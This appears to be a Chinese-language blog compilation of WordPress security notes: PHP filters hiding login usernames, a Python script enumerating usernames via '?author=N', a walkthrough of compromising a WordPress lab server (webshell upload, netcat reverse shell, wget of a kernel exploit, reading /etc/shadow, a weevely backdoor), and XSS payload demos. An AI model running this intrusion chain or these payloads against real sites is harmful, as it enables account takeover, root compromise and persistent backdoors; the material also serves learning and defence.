避免WordPress登陆用户名被他人获取

这篇文章中假设www.baidu.com是一个WP网站。

问题场景:
在浏览器中通过输入网址:http://www.baidu.com/?author=2,响应结果中可获取WP用户登陆名。

本文正是为应对该漏洞引起的密码破解风险而写的解决方案。

应对方法:
1.针对网址中泄漏用户名的应对方法:

编辑:./wp-includes/author-template.php,在该文件末尾添加如下代码:

/**
* 修改url重写后的作者存档页的链接变量
*/
add_filter( 'author_link', 'lxtx_author_link', 10, 2 );
function lxtx_author_link( $link, $author_id) {
global $wp_rewrite;
$author_id = (int) $author_id;
$link = $wp_rewrite->get_author_permastruct();
if ( empty($link) ) {
$file = home_url( '/' );
$link = $file . '?author=' . $author_id;
} else {
$link = str_replace('%author%', $author_id, $link);
$link = home_url( user_trailingslashit( $link ) );
}
return $link;
}

/*
*  如果没有添加下面这个方法,
*  在发起了:http://www.baidu.com/?author=2请求后,页面会返回404 NOT FOUND。
*/

/**
* 替换作者的存档页的用户名,防止被其他用途
* 作者存档页链接有2个查询变量,
* 一个是author(作者用户id),用于未url重写
* 另一个是author_name(作者用户名),用于url重写
* 此处做的是,在url重写之后,把author_name替换为author
* @link https://www.wpdaxue.com/use-nickname-for-author-slug.html
*/

add_filter( 'request', 'lxtx_author_link_request' );
function lxtx_author_link_request( $query_vars ) {
if ( array_key_exists( 'author_name', $query_vars ) ) {
global $wpdb;
$author_id=$query_vars['author_name'];
if ( $author_id ) {
$query_vars['author'] = $author_id;
unset( $query_vars['author_name'] );
}
}
return $query_vars;
}

2. 针对BODY中class泄漏用户名的应对方法:

编辑:./wp-includes/functions.php,在该文件末尾添加如下代码:

/**
 *(全网独家)如何正确的避免你的 WordPress 管理员登录用户名被暴露 - 龙笑天下
 * http://www.ilxtx.com/further-hide-your-wordpress-admin-username.html
 * 说明:直接去掉函数 comment_class() 和 body_class() 中输出的 "comment-author-" 和 "author-"
 */
function lxtx_comment_body_class($content){ 
 $pattern = "/(.*?)([^>]*)author-([^>]*)(.*?)/i";
 $replacement = '$1$4';
 $content = preg_replace($pattern, $replacement, $content); 
 return $content;
}
add_filter('comment_class', 'lxtx_comment_body_class');
add_filter('body_class', 'lxtx_comment_body_class');

代理原理:

添加了一个过滤器,将涉及”body_class”和”comment_class”的请求重定向到方法:lxtx_comment_body_class来处理。该方法会通过正则匹配过滤掉响应报文里的name跟userid。


(本文所列PHP代码为引用,源作者地址附于文章末尾)
附:
原文链接
原创作者详细剖析

测试过程中,建议使用Chrome。如果用Firefox测试的话,即使PHP代码修改了,在Firefox页面刷新后还是显示不出代码修改后的效果,应该跟缓存有关。

[WordPress安全]利用爬虫抓取网站所有用户的登陆名

这篇文章中假设www.baidu.com是一个WP网站。

方法1:通过userid请求返回用户登陆名
请求网址:http://www.baidu.com/?author=2
响应网址:http://www.baidu.com/index.php/author/username/

通过这种方式可以获取userid=2的用户对应的WP登陆名为:username
这个网页的本意是查询这个用户创建的所有posts,但其实也暴露了该用户的登陆名。

涉及的函数:
./wp-includes/author-template.php
function get_author_posts_url()


方法2:通过html的body中获取到用户名
脚本功能:获取一个Wordpress网站所有用户的登陆名

#!/usr/bin/env python
# encoding: utf-8
# wp_get_auth.py

import requests
import sys
import os
import re

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings()

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'keep-alive'
}


def getAuthor():
    url = 'http://192.168.1.1/'
    for i in range(1, 50):

        geturl = url + "?author={}".format(i)
        print (geturl)

        try:
            global res
            res = requests.get(geturl, headers=headers, verify=False, timeout=10).content
        except Exception as e:
            print (str(e))

        p = re.compile(r'<body class="archive author author-(.+?) author-')
        matchs = []
        try:
            matchs = p.findall(res.decode())
        except UnicodeDecodeError:
            matchs = p.findall(res)

        for auth in matchs:
            fp = open('auth.txt', 'a')
            fp.write(auth + '\n')
            fp.close()


if __name__ == '__main__':
    getAuthor()

脚本运行原理:
通过向网站发送”GET”请求:
http://www.baidu.com/?author=1
http://www.baidu.com/?author=2
http://www.baidu.com/?author=3

未针对该漏洞事先防范的WP网站在返回的html响应中,会包含如下字符串:
<body class=”archive author author-name author-userid custom-background”>
这个字符串中:
name就是用于登陆WP使用的用户名,userid就是GET请求对应的传参。

通过遍历userid,发送对应的GET请求,就可以拿到该ID对应的登陆名。
在有了登陆名之后,登陆破解就成功了一半。

附:
1.该脚本源地址:
wordpress获取用户名脚本

2.该类型漏洞的应对方法:
修改functions.php以应对爬虫通过漏洞获取wp登陆名

[web安全] 攻破一个WordPress网站的常规思路

下午看到一篇文章,说的是黑客如何攻破一个网站,简要做下读书笔记。文章地址:https://blog.csdn.net/luo200618/article/details/52725571

1.渗透测试前的简单信息收集
域名信息,IP,OS版本, 应用服务器版本

ping 域名 即可获取目标机器的IP
通过:sameip.org 可以找出在同一台服务器上的其它网站
通过:who.is 查询域名注册信息,所有者信息,DNS信息
通过:whatweb example.com 查询网站的HTTPServer信息

2.服务端口扫描
nmap的使用
nmap -sV example.com 扫描OS运行的服务,开放的端口
nmap -O example.com 扫描OS的版本,经验证,多数知名网站无法用这个命令扫描到系统版本

3.扫描漏洞信息
sqlmap – 自动化的SQL注入工具
Nikto – 网页服务器漏洞扫描器
W3AF – w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,
SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.
该项目的目标是要建立一个框架,以寻找和开发Web应用安全漏洞,很容易使用和扩展.
(用法介绍 http://www.freebuf.com/column/146469.html)

例:perl nikto.pl -h example.com 通过这个语句可以用nikto.pl扫描网站的漏洞

假设这是个wordpress网站,如果发现某个网址有sql注入漏洞,可通过Sqlmap来检测这个url:
格式: python sqlmap.py -u url
{
这部分具体如何操作需要再研究,原理如下:
在确认了mysql显错注入漏洞后,逐步通过组织不同的参数来采集数据库名,表名,表的字段。
最终拿到用户表中存储的用户名及密码的HASH值。接着再把hash密码拿到网站进行在线破解:
网址为:http://www.onlinehashcrack.com/free-hash-reverse.php
}
拿破解到的登录信息进入wordpress后台wp-admin
尝试上传php webshell到服务器,以方便运行一些Linux命令。在插件页面寻找任何可编辑的插件,编辑插入我们自己的php webshell。
更新文件后,访问我们的php webshell。
通过php webshell,我们就可以访问网站的文件。注意,我们的目标是获取网站服务器的root权限,然后再入侵服务器上其它网站。
接下来要做的就是反弹shell。

4.shell反弹提权(reverse shell)
通过NC进行shell反弹
简单的理解,就是在被攻击的机器上运行代码,主动连接攻击者的服务器,将目标机器的命令行映射到攻击机器上。
攻击者通过这个连接对目标机器进行控制。
通过这种方式可以绕过目标机器内网防火墙对于端口的访问限制。
连接方式上刚好与ssh,telnet相反。

下面用NC来反弹一个shell:
操作步骤:
先在我们自己的电脑上监听端口:5555 (命令:nc -lvvp 5555)
在浏览器上通过php webshell在上反向连接我们的电脑,参数输入我们自己电脑的IP,端口填写:5555
浏览器php webshell点击连接后,网站服务器就会主动连接我们本地电脑。
这时我们可在本地的nc命令行中尝试执行如下命令:
id (显示网站服务器当前用户信息)
返回信息:uid=48(apache) gid=489(apache) groups=489(apache)
pwd
返回信息:/var/www/html/Hackademic_RTB1/wp-content/plugins
uname -a
返回信息:Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.

5.linux系统的权限提升
在服务器上测试了很多exp之后,我们用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285

我们在nc shell上执行以下命令:
wget http://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:

include

include

include

include

include

include

include

include

include

include

include

define RECVPORT 5555

define SENDPORT 6666

int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.\n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));

通过以上代码我们发现该exp是C语言开发的,我们需要将他编译成elf格式的,命令如下:
gcc roro.c –o roro

接下来执行编译好的exp:
./roro

执行完成之后我们输入id命令:
id

我们发现我们已经是root权限了:
uid=0(root) gid=0(root)

现在我们可以查看/etc/shadow文件:
cat /etc/shadow

查看/etc/passwd 文件
cat /etc/passwd

我们可以使用”john the ripper”工具破解所有用户的密码.
但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.

我们用weevely制作一个php小马上传到服务器上.

查看weevely使用选项:

./main.py –

用weevely创建一个密码为koko的php后门

./main.py -g -o hax.php -p koko

接下来上传到服务器之后来使用它:

./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

上述命令执行后,相当于远程登陆到了网站服务器的命令行。

原文网址:http://resources.infosecinstitute.com/hacking-a-wordpress-site/

附录:

backtrack 5(bt5)
Backtrack是处于世界领先地位的渗透测试和信息安全审计发行版本,是圈内非常著名的黑客攻击平台。
有着上百种预先安装好的工具软件,内置大量的网络安全检测工具以及黑客破解软件等。
是一个封装好的Linux操作系统,可以放到U盘或者硬盘中启动。
BackTrack现已被Kali Linux所代替,BT将不再维护。

[web安全学习] 跨站脚本攻击XSS

代码验证的渠道:
/etc/apache2/httpd.conf里,找到“DocumentRoot”的值。这是我们存放网页文件的地方。

验证php执行效果:
在 DocumentRoot 下面新建 info.php,内容如下:
<?php
echo “Hello world”;
phpinfo();
?>

# sudo apachectl restart
浏览器访问:http://127.0.0.1/info.php

至此,功能验证结束。

XSS sample1: 反射型XSS
下列脚本把用户的输入直接输出到页面上:
脚本名字:3-1-xss-1.php
脚本内容:
<?php
$input = $_GET[“param”];
echo “<div>”.$input.”</div>”;
?>

执行测试1:
http://127.0.0.1/3-1-xss-1.php?param=”This is a test”

运行结果为正常输出

执行测试2:
提交一段HTML代码
http://127.0.0.1/3-1-xss-1.php?param=<script>alert(/xss/)</script)

运行结果:
chrome会拦截该网页,旧版的IE浏览器就会执行脚本中包含的内容
查看源代码,结果为:
<div><script>alert(/xss/)</script)</div>

执行测试3:
新建一个html文件:3-1-xss-2.html
内容为:
<script>
function test(){
var str = document.getElementById(“text”).value;
document.getElementById(“t”).innerHTML = “<a href='”+str+”‘ >testLink</a>”;
}
</script>

<div id=”t” ></dev>
<input type=”text” id=”text” value=”” />
<input type=”button” id=”s” value=”write” onclick=”test()” />

在浏览器里访问:http://127.0.0.1/3-1-xss-2.html

执行结果:
case 1: 当在输入框输入正常的字符串“testurl”时,会生成一个 127.0.0.1/testurl 的链接供点击

case 2:当在输入框中构造如下数据:
‘ onclick=alert(/xss/) //
输入后,代码被构造成:
<a href=” onclick=alert(/xss/) //’ >testLink</a>
点击这个新构造出来的链接,恶意脚本alert(/xss/)将被执行

case 3: 另外一种构造方式——除了构造一个新事件外,还可以闭合掉<a>标签,插入一个新的HTML标签:
输入如下:
‘><img src=# onerror=alert(/xss2/) /><‘
新的代码如下:
<a href=”><img src=# onerror=alert(/xss2/) /><” >testLink</a>
恶意脚本alert(/xss2/)一样会被执行。